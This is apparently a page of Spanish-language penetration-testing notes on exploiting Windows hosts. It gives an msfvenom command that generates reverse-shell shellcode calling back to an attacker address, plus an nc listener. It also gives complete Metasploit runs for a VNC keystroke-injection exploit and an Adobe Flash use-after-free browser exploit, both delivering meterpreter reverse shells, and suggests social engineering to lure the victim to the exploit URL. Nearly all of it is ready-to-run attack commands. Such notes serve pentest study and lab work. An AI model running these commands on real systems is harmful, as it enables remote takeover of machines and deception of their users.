Debemos modificar la variable shellcode para poder obtener nuestra shell reversa. Para esto, usamos el siguiente comando:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.6 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode -a x86 --platform windows

Ejecutamos el script, dejando a la escucha el puerto 443:

nc -nlvp 443

VNC Keystrokes con Metasploit

Sending Keystrokes to Your (Virtual) Machines using X, Vnc , Rdp or Native ways

msfconsole -q
use exploit/multi/vnc/vnc_keyboard_exec
set RHOSTS 192.168.1.1
set PASSWORD VNCpwd
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
run

El parámetro PASSWORD no es requerido.

Adobe Flash Player ByteArray Use After Free

Este exploit explota el uso de After Free de Adobe Flash Player cuando maneja objetos ByteArray.

msfconsole -q
use exploit/multi/browser/adobe_flash_hacking_team_uaf
set SRVHOST 192.168.1.200
set SRVPORT 8080
set URIPATH test
set TARGET 0
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444
run

SRVHOST dirección IP local que se encuentra a la escucha
SRVPORT puerto local que se encuentra a la escucha
URIPATH URI a usar para en el exploit
TARGET 0 para Windows, 1 para Linux
PAYLOAD payload a usar para obtener la shell reversa
LHOST dirección IP local al que se conectará el target
LPORT puerto local al que se conectará el target

Esto generará una URL, la cual, el target debe ingresar para poder explotar este recurso (se puede usar alguna técnica de ingeniería social para lograr esto).

PreviousExplotación NextExplotación de Entornos Linux

Last updated 1 year ago